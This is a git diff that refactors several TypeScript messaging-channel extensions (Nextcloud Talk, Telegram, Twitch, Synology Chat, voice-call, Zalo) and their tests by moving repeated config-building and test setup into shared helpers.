{ - ...cfg.channels, - "nextcloud-talk": { - ...cfg.channels?.["nextcloud-talk"], - enabled: true, - dmPolicy: "allowlist", - allowFrom: unique, - }, - }, - }; - } - - return { - ...cfg, - channels: { - ...cfg.channels, - "nextcloud-talk": { - ...cfg.channels?.["nextcloud-talk"], - enabled: true, - accounts: { - ...cfg.channels?.["nextcloud-talk"]?.accounts, - [accountId]: { - ...cfg.channels?.["nextcloud-talk"]?.accounts?.[accountId], - enabled: cfg.channels?.["nextcloud-talk"]?.accounts?.[accountId]?.enabled ?? true, - dmPolicy: "allowlist", - allowFrom: unique, - }, - }, - }, - }, - }; + return setNextcloudTalkAccountConfig(cfg, accountId, { + dmPolicy: "allowlist", + allowFrom: unique, + }); } async function promptNextcloudTalkAllowFromForAccount(params: { @@ -265,41 +274,10 @@ export const nextcloudTalkOnboardingAdapter: ChannelOnboardingAdapter = { } if (secretResult.action === "use-env" || secret || baseUrl !== resolvedAccount.baseUrl) { - if (accountId === DEFAULT_ACCOUNT_ID) { - next = { - ...next, - channels: { - ...next.channels, - "nextcloud-talk": { - ...next.channels?.["nextcloud-talk"], - enabled: true, - baseUrl, - ...(secret ? { botSecret: secret } : {}), - }, - }, - }; - } else { - next = { - ...next, - channels: { - ...next.channels, - "nextcloud-talk": { - ...next.channels?.["nextcloud-talk"], - enabled: true, - accounts: { - ...next.channels?.["nextcloud-talk"]?.accounts, - [accountId]: { - ...next.channels?.["nextcloud-talk"]?.accounts?.[accountId], - enabled: - next.channels?.["nextcloud-talk"]?.accounts?.[accountId]?.enabled ?? true, - baseUrl, - ...(secret ? { botSecret: secret } : {}), - }, - }, - }, - }, - }; - } + next = setNextcloudTalkAccountConfig(next, accountId, { + baseUrl, + ...(secret ? { botSecret: secret } : {}), + }); } const existingApiUser = resolvedAccount.config.apiUser?.trim(); @@ -333,41 +311,10 @@ export const nextcloudTalkOnboardingAdapter: ChannelOnboardingAdapter = { preferredEnvVar: "NEXTCLOUD_TALK_API_PASSWORD", }); const apiPassword = apiPasswordResult.action === "set" ? apiPasswordResult.value : undefined; - if (accountId === DEFAULT_ACCOUNT_ID) { - next = { - ...next, - channels: { - ...next.channels, - "nextcloud-talk": { - ...next.channels?.["nextcloud-talk"], - enabled: true, - apiUser, - ...(apiPassword ? { apiPassword } : {}), - }, - }, - }; - } else { - next = { - ...next, - channels: { - ...next.channels, - "nextcloud-talk": { - ...next.channels?.["nextcloud-talk"], - enabled: true, - accounts: { - ...next.channels?.["nextcloud-talk"]?.accounts, - [accountId]: { - ...next.channels?.["nextcloud-talk"]?.accounts?.[accountId], - enabled: - next.channels?.["nextcloud-talk"]?.accounts?.[accountId]?.enabled ?? true, - apiUser, - ...(apiPassword ? { apiPassword } : {}), - }, - }, - }, - }, - }; - } + next = setNextcloudTalkAccountConfig(next, accountId, { + apiUser, + ...(apiPassword ? { apiPassword } : {}), + }); } if (forceAllowFrom) { diff --git a/extensions/qwen-portal-auth/index.ts b/extensions/qwen-portal-auth/index.ts index c592c0e223c..643663c1ffa 100644 --- a/extensions/qwen-portal-auth/index.ts +++ b/extensions/qwen-portal-auth/index.ts @@ -1,4 +1,5 @@ import { + buildOauthProviderAuthResult, emptyPluginConfigSchema, type OpenClawPluginApi, type ProviderAuthContext, @@ -63,22 +64,14 @@ const qwenPortalPlugin = { progress.stop("Qwen OAuth complete"); - const profileId = `${PROVIDER_ID}:default`; const baseUrl = normalizeBaseUrl(result.resourceUrl); - return { - profiles: [ - { - profileId, - credential: { - type: "oauth", - provider: PROVIDER_ID, - access: result.access, - refresh: result.refresh, - expires: result.expires, - }, - }, - ], + return buildOauthProviderAuthResult({ + providerId: PROVIDER_ID, + defaultModel: DEFAULT_MODEL, + access: result.access, + refresh: result.refresh, + expires: result.expires, configPatch: { models: { providers: { @@ -110,12 +103,11 @@ const qwenPortalPlugin = { }, }, }, - defaultModel: DEFAULT_MODEL, notes: [ "Qwen OAuth tokens auto-refresh. Re-run login if refresh fails or access is revoked.", `Base URL defaults to ${DEFAULT_BASE_URL}. Override models.providers.${PROVIDER_ID}.baseUrl if needed.`, ], - }; + }); } catch (err) { progress.stop("Qwen OAuth failed"); await ctx.prompter.note( diff --git a/extensions/synology-chat/src/channel.test.ts b/extensions/synology-chat/src/channel.test.ts index 713ecf7f8c3..4e3be192f39 100644 --- a/extensions/synology-chat/src/channel.test.ts +++ b/extensions/synology-chat/src/channel.test.ts @@ -317,20 +317,11 @@ describe("createSynologyChatPlugin", () => { }); describe("gateway", () => { - it("startAccount returns pending promise for disabled account", async () => { - const plugin = createSynologyChatPlugin(); - const abortController = new AbortController(); - const ctx = { - cfg: { - channels: { "synology-chat": { enabled: false } }, - }, - accountId: "default", - log: { info: vi.fn(), warn: vi.fn(), error: vi.fn() }, - abortSignal: abortController.signal, - }; - const result = plugin.gateway.startAccount(ctx); + async function expectPendingStartAccountPromise( + result: Promise, + abortController: AbortController, + ) { expect(result).toBeInstanceOf(Promise); - // Promise should stay pending (never resolve) to prevent restart loop const resolved = await Promise.race([ result, new Promise((r) => setTimeout(() => r("pending"), 50)), @@ -338,29 +329,29 @@ describe("createSynologyChatPlugin", () => { expect(resolved).toBe("pending"); abortController.abort(); await result; + } + + async function expectPendingStartAccount(accountConfig: Record) { + const plugin = createSynologyChatPlugin(); + const abortController = new AbortController(); + const ctx = { + cfg: { + channels: { "synology-chat": accountConfig }, + }, + accountId: "default", + log: { info: vi.fn(), warn: vi.fn(), error: vi.fn() }, + abortSignal: abortController.signal, + }; + const result = plugin.gateway.startAccount(ctx); + await expectPendingStartAccountPromise(result, abortController); + } + + it("startAccount returns pending promise for disabled account", async () => { + await expectPendingStartAccount({ enabled: false }); }); it("startAccount returns pending promise for account without token", async () => { - const plugin = createSynologyChatPlugin(); - const abortController = new AbortController(); - const ctx = { - cfg: { - channels: { "synology-chat": { enabled: true } }, - }, - accountId: "default", - log: { info: vi.fn(), warn: vi.fn(), error: vi.fn() }, - abortSignal: abortController.signal, - }; - const result = plugin.gateway.startAccount(ctx); - expect(result).toBeInstanceOf(Promise); - // Promise should stay pending (never resolve) to prevent restart loop - const resolved = await Promise.race([ - result, - new Promise((r) => setTimeout(() => r("pending"), 50)), - ]); - expect(resolved).toBe("pending"); - abortController.abort(); - await result; + await expectPendingStartAccount({ enabled: true }); }); it("startAccount refuses allowlist accounts with empty allowedUserIds", async () => { @@ -387,16 +378,9 @@ describe("createSynologyChatPlugin", () => { }; const result = plugin.gateway.startAccount(ctx); - expect(result).toBeInstanceOf(Promise); - const resolved = await Promise.race([ - result, - new Promise((r) => setTimeout(() => r("pending"), 50)), - ]); - expect(resolved).toBe("pending"); + await expectPendingStartAccountPromise(result, abortController); expect(ctx.log.warn).toHaveBeenCalledWith(expect.stringContaining("empty allowedUserIds")); expect(registerMock).not.toHaveBeenCalled(); - abortController.abort(); - await result; }); it("deregisters stale route before re-registering same account/path", async () => { diff --git a/extensions/synology-chat/src/client.test.ts b/extensions/synology-chat/src/client.test.ts index ef5ff06beb7..416412f0408 100644 --- a/extensions/synology-chat/src/client.test.ts +++ b/extensions/synology-chat/src/client.test.ts @@ -118,26 +118,21 @@ describe("sendFileUrl", () => { function mockUserListResponse( users: Array<{ user_id: number; username: string; nickname: string }>, ) { - const httpsGet = vi.mocked((https as any).get); - httpsGet.mockImplementation((_url: any, _opts: any, callback: any) => { - const res = new EventEmitter() as any; - res.statusCode = 200; - process.nextTick(() => { - callback(res); - res.emit("data", Buffer.from(JSON.stringify({ success: true, data: { users } }))); - res.emit("end"); - }); - const req = new EventEmitter() as any; - req.destroy = vi.fn(); - return req; - }); + mockUserListResponseImpl(users, false); } function mockUserListResponseOnce( users: Array<{ user_id: number; username: string; nickname: string }>, +) { + mockUserListResponseImpl(users, true); +} + +function mockUserListResponseImpl( + users: Array<{ user_id: number; username: string; nickname: string }>, + once: boolean, ) { const httpsGet = vi.mocked((https as any).get); - httpsGet.mockImplementationOnce((_url: any, _opts: any, callback: any) => { + const impl = (_url: any, _opts: any, callback: any) => { const res = new EventEmitter() as any; res.statusCode = 200; process.nextTick(() => { @@ -148,7 +143,12 @@ function mockUserListResponseOnce( const req = new EventEmitter() as any; req.destroy = vi.fn(); return req; - }); + }; + if (once) { + httpsGet.mockImplementationOnce(impl); + return; + } + httpsGet.mockImplementation(impl); } describe("resolveChatUserId", () => { diff --git a/extensions/telegram/src/channel.test.ts b/extensions/telegram/src/channel.test.ts index 5f755a7284b..7473bb5e533 100644 --- a/extensions/telegram/src/channel.test.ts +++ b/extensions/telegram/src/channel.test.ts @@ -52,6 +52,25 @@ function createStartAccountCtx(params: { }; } +function installGatewayRuntime(params?: { probeOk?: boolean; botUsername?: string }) { + const monitorTelegramProvider = vi.fn(async () => undefined); + const probeTelegram = vi.fn(async () => + params?.probeOk ? { ok: true, bot: { username: params.botUsername ?? "bot" } } : { ok: false }, + ); + setTelegramRuntime({ + channel: { + telegram: { + monitorTelegramProvider, + probeTelegram, + }, + }, + logging: { + shouldLogVerbose: () => false, + }, + } as unknown as PluginRuntime); + return { monitorTelegramProvider, probeTelegram }; +} + describe("telegramPlugin duplicate token guard", () => { it("marks secondary account as not configured when token is shared", async () => { const cfg = createCfg(); @@ -84,20 +103,7 @@ describe("telegramPlugin duplicate token guard", () => { }); it("blocks startup for duplicate token accounts before polling starts", async () => { - const monitorTelegramProvider = vi.fn(async () => undefined); - const probeTelegram = vi.fn(async () => ({ ok: true, bot: { username: "bot" } })); - const runtime = { - channel: { - telegram: { - monitorTelegramProvider, - probeTelegram, - }, - }, - logging: { - shouldLogVerbose: () => false, - }, - } as unknown as PluginRuntime; - setTelegramRuntime(runtime); + const { monitorTelegramProvider, probeTelegram } = installGatewayRuntime({ probeOk: true }); await expect( telegramPlugin.gateway!.startAccount!( @@ -114,20 +120,10 @@ describe("telegramPlugin duplicate token guard", () => { }); it("passes webhookPort through to monitor startup options", async () => { - const monitorTelegramProvider = vi.fn(async () => undefined); - const probeTelegram = vi.fn(async () => ({ ok: true, bot: { username: "opsbot" } })); - const runtime = { - channel: { - telegram: { - monitorTelegramProvider, - probeTelegram, - }, - }, - logging: { - shouldLogVerbose: () => false, - }, - } as unknown as PluginRuntime; - setTelegramRuntime(runtime); + const { monitorTelegramProvider } = installGatewayRuntime({ + probeOk: true, + botUsername: "opsbot", + }); const cfg = createCfg(); cfg.channels!.telegram!.accounts!.ops = { @@ -192,20 +188,7 @@ describe("telegramPlugin duplicate token guard", () => { }); it("does not crash startup when a resolved account token is undefined", async () => { - const monitorTelegramProvider = vi.fn(async () => undefined); - const probeTelegram = vi.fn(async () => ({ ok: false })); - const runtime = { - channel: { - telegram: { - monitorTelegramProvider, - probeTelegram, - }, - }, - logging: { - shouldLogVerbose: () => false, - }, - } as unknown as PluginRuntime; - setTelegramRuntime(runtime); + const { monitorTelegramProvider } = installGatewayRuntime({ probeOk: false }); const cfg = createCfg(); const ctx = createStartAccountCtx({ diff --git a/extensions/telegram/src/channel.ts b/extensions/telegram/src/channel.ts index f7c2ad16328..ccb22dab55b 100644 --- a/extensions/telegram/src/channel.ts +++ b/extensions/telegram/src/channel.ts @@ -2,6 +2,7 @@ import { applyAccountNameToChannelSection, buildChannelConfigSchema, buildTokenChannelStatusSummary, + clearAccountEntryFields, collectTelegramStatusIssues, DEFAULT_ACCOUNT_ID, deleteAccountFromConfigSection, @@ -519,36 +520,20 @@ export const telegramPlugin: ChannelPlugin; - if ("botToken" in nextEntry) { - const token = nextEntry.botToken; - if (typeof token === "string" ? token.trim() : token) { - cleared = true; - } - delete nextEntry.botToken; - changed = true; - } - if (Object.keys(nextEntry).length === 0) { - delete accounts[accountId]; - changed = true; - } else { - accounts[accountId] = nextEntry as typeof entry; - } + const accountCleanup = clearAccountEntryFields({ + accounts: nextTelegram.accounts, + accountId, + fields: ["botToken"], + }); + if (accountCleanup.changed) { + changed = true; + if (accountCleanup.cleared) { + cleared = true; } - } - if (accounts) { - if (Object.keys(accounts).length === 0) { - delete nextTelegram.accounts; - changed = true; + if (accountCleanup.nextAccounts) { + nextTelegram.accounts = accountCleanup.nextAccounts; } else { - nextTelegram.accounts = accounts; + delete nextTelegram.accounts; } } } diff --git a/extensions/twitch/src/access-control.test.ts b/extensions/twitch/src/access-control.test.ts index 83746717e4a..874326c9697 100644 --- a/extensions/twitch/src/access-control.test.ts +++ b/extensions/twitch/src/access-control.test.ts @@ -51,14 +51,10 @@ describe("checkTwitchAccessControl", () => { describe("when no restrictions are configured", () => { it("allows messages that mention the bot (default requireMention)", () => { - const message: TwitchChatMessage = { - ...mockMessage, - message: "@testbot hello", - }; - const result = checkTwitchAccessControl({ - message, - account: mockAccount, - botUsername: "testbot", + const result = runAccessCheck({ + message: { + message: "@testbot hello", + }, }); expect(result.allowed).toBe(true); }); @@ -66,30 +62,20 @@ describe("checkTwitchAccessControl", () => { describe("requireMention default", () => { it("defaults to true when undefined", () => { - const message: TwitchChatMessage = { - ...mockMessage, - message: "hello bot", - }; - - const result = checkTwitchAccessControl({ - message, - account: mockAccount, - botUsername: "testbot", + const result = runAccessCheck({ + message: { + message: "hello bot", + }, }); expect(result.allowed).toBe(false); expect(result.reason).toContain("does not mention the bot"); }); it("allows mention when requireMention is undefined", () => { - const message: TwitchChatMessage = { - ...mockMessage, - message: "@testbot hello", - }; - - const result = checkTwitchAccessControl({ - message, - account: mockAccount, - botUsername: "testbot", + const result = runAccessCheck({ + message: { + message: "@testbot hello", + }, }); expect(result.allowed).toBe(true); }); @@ -97,52 +83,25 @@ describe("checkTwitchAccessControl", () => { describe("requireMention", () => { it("allows messages that mention the bot", () => { - const account: TwitchAccountConfig = { - ...mockAccount, - requireMention: true, - }; - const message: TwitchChatMessage = { - ...mockMessage, - message: "@testbot hello", - }; - - const result = checkTwitchAccessControl({ - message, - account, - botUsername: "testbot", + const result = runAccessCheck({ + account: { requireMention: true }, + message: { message: "@testbot hello" }, }); expect(result.allowed).toBe(true); }); it("blocks messages that don't mention the bot", () => { - const account: TwitchAccountConfig = { - ...mockAccount, - requireMention: true, - }; - - const result = checkTwitchAccessControl({ - message: mockMessage, - account, - botUsername: "testbot", + const result = runAccessCheck({ + account: { requireMention: true }, }); expect(result.allowed).toBe(false); expect(result.reason).toContain("does not mention the bot"); }); it("is case-insensitive for bot username", () => { - const account: TwitchAccountConfig = { - ...mockAccount, - requireMention: true, - }; - const message: TwitchChatMessage = { - ...mockMessage, - message: "@TestBot hello", - }; - - const result = checkTwitchAccessControl({ - message, - account, - botUsername: "testbot", + const result = runAccessCheck({ + account: { requireMention: true }, + message: { message: "@TestBot hello" }, }); expect(result.allowed).toBe(true); }); diff --git a/extensions/twitch/src/status.test.ts b/extensions/twitch/src/status.test.ts index 7aa8b909df3..d0340ec852e 100644 --- a/extensions/twitch/src/status.test.ts +++ b/extensions/twitch/src/status.test.ts @@ -14,17 +14,28 @@ import { describe, expect, it } from "vitest"; import { collectTwitchStatusIssues } from "./status.js"; import type { ChannelAccountSnapshot } from "./types.js"; +function createSnapshot(overrides: Partial = {}): ChannelAccountSnapshot { + return { + accountId: "default", + configured: true, + enabled: true, + running: false, + ...overrides, + }; +} + +function createSimpleTwitchConfig(overrides: Record) { + return { + channels: { + twitch: overrides, + }, + }; +} + describe("status", () => { describe("collectTwitchStatusIssues", () => { it("should detect unconfigured accounts", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: false, - enabled: true, - running: false, - }, - ]; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot({ configured: false })]; const issues = collectTwitchStatusIssues(snapshots); @@ -34,14 +45,7 @@ describe("status", () => { }); it("should detect disabled accounts", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: false, - running: false, - }, - ]; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot({ enabled: false })]; const issues = collectTwitchStatusIssues(snapshots); @@ -51,24 +55,12 @@ describe("status", () => { }); it("should detect missing clientId when account configured (simplified config)", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - }, - ]; - - const mockCfg = { - channels: { - twitch: { - username: "testbot", - accessToken: "oauth:test123", - // clientId missing - }, - }, - }; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot()]; + const mockCfg = createSimpleTwitchConfig({ + username: "testbot", + accessToken: "oauth:test123", + // clientId missing + }); const issues = collectTwitchStatusIssues(snapshots, () => mockCfg as never); @@ -77,24 +69,12 @@ describe("status", () => { }); it("should warn about oauth: prefix in token (simplified config)", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - }, - ]; - - const mockCfg = { - channels: { - twitch: { - username: "testbot", - accessToken: "oauth:test123", // has prefix - clientId: "test-id", - }, - }, - }; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot()]; + const mockCfg = createSimpleTwitchConfig({ + username: "testbot", + accessToken: "oauth:test123", // has prefix + clientId: "test-id", + }); const issues = collectTwitchStatusIssues(snapshots, () => mockCfg as never); @@ -104,26 +84,14 @@ describe("status", () => { }); it("should detect clientSecret without refreshToken (simplified config)", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - }, - ]; - - const mockCfg = { - channels: { - twitch: { - username: "testbot", - accessToken: "oauth:test123", - clientId: "test-id", - clientSecret: "secret123", - // refreshToken missing - }, - }, - }; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot()]; + const mockCfg = createSimpleTwitchConfig({ + username: "testbot", + accessToken: "oauth:test123", + clientId: "test-id", + clientSecret: "secret123", + // refreshToken missing + }); const issues = collectTwitchStatusIssues(snapshots, () => mockCfg as never); @@ -132,25 +100,13 @@ describe("status", () => { }); it("should detect empty allowFrom array (simplified config)", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - }, - ]; - - const mockCfg = { - channels: { - twitch: { - username: "testbot", - accessToken: "test123", - clientId: "test-id", - allowFrom: [], // empty array - }, - }, - }; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot()]; + const mockCfg = createSimpleTwitchConfig({ + username: "testbot", + accessToken: "test123", + clientId: "test-id", + allowFrom: [], // empty array + }); const issues = collectTwitchStatusIssues(snapshots, () => mockCfg as never); @@ -159,26 +115,14 @@ describe("status", () => { }); it("should detect allowedRoles 'all' with allowFrom conflict (simplified config)", () => { - const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - }, - ]; - - const mockCfg = { - channels: { - twitch: { - username: "testbot", - accessToken: "test123", - clientId: "test-id", - allowedRoles: ["all"], - allowFrom: ["123456"], // conflict! - }, - }, - }; + const snapshots: ChannelAccountSnapshot[] = [createSnapshot()]; + const mockCfg = createSimpleTwitchConfig({ + username: "testbot", + accessToken: "test123", + clientId: "test-id", + allowedRoles: ["all"], + allowFrom: ["123456"], // conflict! + }); const issues = collectTwitchStatusIssues(snapshots, () => mockCfg as never); @@ -189,13 +133,7 @@ describe("status", () => { it("should detect runtime errors", () => { const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, - lastError: "Connection timeout", - }, + createSnapshot({ lastError: "Connection timeout" }), ]; const issues = collectTwitchStatusIssues(snapshots); @@ -207,15 +145,11 @@ describe("status", () => { it("should detect accounts that never connected", () => { const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, - running: false, + createSnapshot({ lastStartAt: undefined, lastInboundAt: undefined, lastOutboundAt: undefined, - }, + }), ]; const issues = collectTwitchStatusIssues(snapshots); @@ -230,13 +164,10 @@ describe("status", () => { const oldDate = Date.now() - 8 * 24 * 60 * 60 * 1000; // 8 days ago const snapshots: ChannelAccountSnapshot[] = [ - { - accountId: "default", - configured: true, - enabled: true, + createSnapshot({ running: true, lastStartAt: oldDate, - }, + }), ]; const issues = collectTwitchStatusIssues(snapshots); diff --git a/extensions/voice-call/index.ts b/extensions/voice-call/index.ts index c4b543b232a..8e2fba9898f 100644 --- a/extensions/voice-call/index.ts +++ b/extensions/voice-call/index.ts @@ -209,6 +209,23 @@ const voiceCallPlugin = { const rt = await ensureRuntime(); return { rt, callId, message } as const; }; + const initiateCallAndRespond = async (params: { + rt: VoiceCallRuntime; + respond: GatewayRequestHandlerOptions["respond"]; + to: string; + message?: string; + mode?: "notify" | "conversation"; + }) => { + const result = await params.rt.manager.initiateCall(params.to, undefined, { + message: params.message, + mode: params.mode, + }); + if (!result.success) { + params.respond(false, { error: result.error || "initiate failed" }); + return; + } + params.respond(true, { callId: result.callId, initiated: true }); + }; api.registerGatewayMethod( "voicecall.initiate", @@ -230,15 +247,13 @@ const voiceCallPlugin = { } const mode = params?.mode === "notify" || params?.mode === "conversation" ? params.mode : undefined; - const result = await rt.manager.initiateCall(to, undefined, { + await initiateCallAndRespond({ + rt, + respond, + to, message, mode, }); - if (!result.success) { - respond(false, { error: result.error || "initiate failed" }); - return; - } - respond(true, { callId: result.callId, initiated: true }); } catch (err) { sendError(respond, err); } @@ -347,14 +362,12 @@ const voiceCallPlugin = { return; } const rt = await ensureRuntime(); - const result = await rt.manager.initiateCall(to, undefined, { + await initiateCallAndRespond({ + rt, + respond, + to, message: message || undefined, }); - if (!result.success) { - respond(false, { error: result.error || "initiate failed" }); - return; - } - respond(true, { callId: result.callId, initiated: true }); } catch (err) { sendError(respond, err); } diff --git a/extensions/voice-call/src/config.test.ts b/extensions/voice-call/src/config.test.ts index ba1889edb4f..03cc011fc66 100644 --- a/extensions/voice-call/src/config.test.ts +++ b/extensions/voice-call/src/config.test.ts @@ -1,49 +1,9 @@ import { afterEach, beforeEach, describe, expect, it } from "vitest"; import { validateProviderConfig, resolveVoiceCallConfig, type VoiceCallConfig } from "./config.js"; +import { createVoiceCallBaseConfig } from "./test-fixtures.js"; function createBaseConfig(provider: "telnyx" | "twilio" | "plivo" | "mock"): VoiceCallConfig { - return { - enabled: true, - provider, - fromNumber: "+15550001234", - inboundPolicy: "disabled", - allowFrom: [], - outbound: { defaultMode: "notify", notifyHangupDelaySec: 3 }, - maxDurationSeconds: 300, - staleCallReaperSeconds: 600, - silenceTimeoutMs: 800, - transcriptTimeoutMs: 180000, - ringTimeoutMs: 30000, - maxConcurrentCalls: 1, - serve: { port: 3334, bind: "127.0.0.1", path: "/voice/webhook" }, - tailscale: { mode: "off", path: "/voice/webhook" }, - tunnel: { provider: "none", allowNgrokFreeTierLoopbackBypass: false }, - webhookSecurity: { - allowedHosts: [], - trustForwardingHeaders: false, - trustedProxyIPs: [], - }, - streaming: { - enabled: false, - sttProvider: "openai-realtime", - sttModel: "gpt-4o-transcribe", - silenceDurationMs: 800, - vadThreshold: 0.5, - streamPath: "/voice/stream", - preStartTimeoutMs: 5000, - maxPendingConnections: 32, - maxPendingConnectionsPerIp: 4, - maxConnections: 128, - }, - skipSignatureVerification: false, - stt: { provider: "openai", model: "whisper-1" }, - tts: { - provider: "openai", - openai: { model: "gpt-4o-mini-tts", voice: "coral" }, - }, - responseModel: "openai/gpt-4o-mini", - responseTimeoutMs: 30000, - }; + return createVoiceCallBaseConfig({ provider }); } describe("validateProviderConfig", () => { diff --git a/extensions/voice-call/src/providers/tts-openai.ts b/extensions/voice-call/src/providers/tts-openai.ts index c483d681990..d1c95420392 100644 --- a/extensions/voice-call/src/providers/tts-openai.ts +++ b/extensions/voice-call/src/providers/tts-openai.ts @@ -1,3 +1,5 @@ +import { pcmToMulaw } from "../telephony-audio.js"; + /** * OpenAI TTS Provider * @@ -179,55 +181,6 @@ function clamp16(value: number): number { return Math.max(-32768, Math.min(32767, value)); } -/** - * Convert 16-bit PCM to 8-bit mu-law. - * Standard G.711 mu-law encoding for telephony. - */ -function pcmToMulaw(pcm: Buffer): Buffer { - const samples = pcm.length / 2; - const mulaw = Buffer.alloc(samples); - - for (let i = 0; i < samples; i++) { - const sample = pcm.readInt16LE(i * 2); - mulaw[i] = linearToMulaw(sample); - } - - return mulaw; -} - -/** - * Convert a single 16-bit linear sample to 8-bit mu-law. - * Implements ITU-T G.711 mu-law encoding. - */ -function linearToMulaw(sample: number): number { - const BIAS = 132; - const CLIP = 32635; - - // Get sign bit - const sign = sample < 0 ? 0x80 : 0; - if (sample < 0) { - sample = -sample; - } - - // Clip to prevent overflow - if (sample > CLIP) { - sample = CLIP; - } - - // Add bias and find segment - sample += BIAS; - let exponent = 7; - for (let expMask = 0x4000; (sample & expMask) === 0 && exponent > 0; exponent--, expMask >>= 1) { - // Find the segment (exponent) - } - - // Extract mantissa bits - const mantissa = (sample >> (exponent + 3)) & 0x0f; - - // Combine into mu-law byte (inverted for transmission) - return ~(sign | (exponent << 4) | mantissa) & 0xff; -} - /** * Convert 8-bit mu-law to 16-bit linear PCM. * Useful for decoding incoming audio. diff --git a/extensions/voice-call/src/runtime.test.ts b/extensions/voice-call/src/runtime.test.ts index 26cdbea82cc..dcb8fa2a158 100644 --- a/extensions/voice-call/src/runtime.test.ts +++ b/extensions/voice-call/src/runtime.test.ts @@ -1,6 +1,7 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { VoiceCallConfig } from "./config.js"; import type { CoreConfig } from "./core-bridge.js"; +import { createVoiceCallBaseConfig } from "./test-fixtures.js"; const mocks = vi.hoisted(() => ({ resolveVoiceCallConfig: vi.fn(), @@ -45,48 +46,7 @@ vi.mock("./webhook/tailscale.js", () => ({ import { createVoiceCallRuntime } from "./runtime.js"; function createBaseConfig(): VoiceCallConfig { - return { - enabled: true, - provider: "mock", - fromNumber: "+15550001234", - inboundPolicy: "disabled", - allowFrom: [], - outbound: { defaultMode: "notify", notifyHangupDelaySec: 3 }, - maxDurationSeconds: 300, - staleCallReaperSeconds: 600, - silenceTimeoutMs: 800, - transcriptTimeoutMs: 180000, - ringTimeoutMs: 30000, - maxConcurrentCalls: 1, - serve: { port: 3334, bind: "127.0.0.1", path: "/voice/webhook" }, - tailscale: { mode: "off", path: "/voice/webhook" }, - tunnel: { provider: "ngrok", allowNgrokFreeTierLoopbackBypass: false }, - webhookSecurity: { - allowedHosts: [], - trustForwardingHeaders: false, - trustedProxyIPs: [], - }, - streaming: { - enabled: false, - sttProvider: "openai-realtime", - sttModel: "gpt-4o-transcribe", - silenceDurationMs: 800, - vadThreshold: 0.5, - streamPath: "/voice/stream", - preStartTimeoutMs: 5000, - maxPendingConnections: 32, - maxPendingConnectionsPerIp: 4, - maxConnections: 128, - }, - skipSignatureVerification: false, - stt: { provider: "openai", model: "whisper-1" }, - tts: { - provider: "openai", - openai: { model: "gpt-4o-mini-tts", voice: "coral" }, - }, - responseModel: "openai/gpt-4o-mini", - responseTimeoutMs: 30000, - }; + return createVoiceCallBaseConfig({ tunnelProvider: "ngrok" }); } describe("createVoiceCallRuntime lifecycle", () => { diff --git a/extensions/voice-call/src/test-fixtures.ts b/extensions/voice-call/src/test-fixtures.ts new file mode 100644 index 00000000000..594aa064ba5 --- /dev/null +++ b/extensions/voice-call/src/test-fixtures.ts @@ -0,0 +1,52 @@ +import type { VoiceCallConfig } from "./config.js"; + +export function createVoiceCallBaseConfig(params?: { + provider?: "telnyx" | "twilio" | "plivo" | "mock"; + tunnelProvider?: "none" | "ngrok"; +}): VoiceCallConfig { + return { + enabled: true, + provider: params?.provider ?? "mock", + fromNumber: "+15550001234", + inboundPolicy: "disabled", + allowFrom: [], + outbound: { defaultMode: "notify", notifyHangupDelaySec: 3 }, + maxDurationSeconds: 300, + staleCallReaperSeconds: 600, + silenceTimeoutMs: 800, + transcriptTimeoutMs: 180000, + ringTimeoutMs: 30000, + maxConcurrentCalls: 1, + serve: { port: 3334, bind: "127.0.0.1", path: "/voice/webhook" }, + tailscale: { mode: "off", path: "/voice/webhook" }, + tunnel: { + provider: params?.tunnelProvider ?? "none", + allowNgrokFreeTierLoopbackBypass: false, + }, + webhookSecurity: { + allowedHosts: [], + trustForwardingHeaders: false, + trustedProxyIPs: [], + }, + streaming: { + enabled: false, + sttProvider: "openai-realtime", + sttModel: "gpt-4o-transcribe", + silenceDurationMs: 800, + vadThreshold: 0.5, + streamPath: "/voice/stream", + preStartTimeoutMs: 5000, + maxPendingConnections: 32, + maxPendingConnectionsPerIp: 4, + maxConnections: 128, + }, + skipSignatureVerification: false, + stt: { provider: "openai", model: "whisper-1" }, + tts: { + provider: "openai", + openai: { model: "gpt-4o-mini-tts", voice: "coral" }, + }, + responseModel: "openai/gpt-4o-mini", + responseTimeoutMs: 30000, + }; +} diff --git a/extensions/zalo/src/channel.ts b/extensions/zalo/src/channel.ts index a3233ce5228..b6a7f7d0486 100644 --- a/extensions/zalo/src/channel.ts +++ b/extensions/zalo/src/channel.ts @@ -6,8 +6,10 @@ import type { } from "openclaw/plugin-sdk/zalo"; import { applyAccountNameToChannelSection, + buildBaseAccountStatusSnapshot, buildChannelConfigSchema, buildTokenChannelStatusSummary, + buildChannelSendResult, DEFAULT_ACCOUNT_ID, deleteAccountFromConfigSection, chunkTextForOutbound, @@ -15,10 +17,13 @@ import { formatPairingApproveHint, migrateBaseNameToDefaultAccount, normalizeAccountId, + isNumericTargetId, PAIRING_APPROVED_MESSAGE, + resolveOutboundMediaUrls, resolveDefaultGroupPolicy, resolveOpenProviderRuntimeGroupPolicy, resolveChannelAccountConfigBasePath, + sendPayloadWithChunkedTextAndMedia, setAccountEnabledInConfigSection, } from "openclaw/plugin-sdk/zalo"; import { @@ -182,13 +187,7 @@ export const zaloPlugin: ChannelPlugin = { messaging: { normalizeTarget: normalizeZaloMessagingTarget, targetResolver: { - looksLikeId: (raw) => { - const trimmed = raw.trim(); - if (!trimmed) { - return false; - } - return 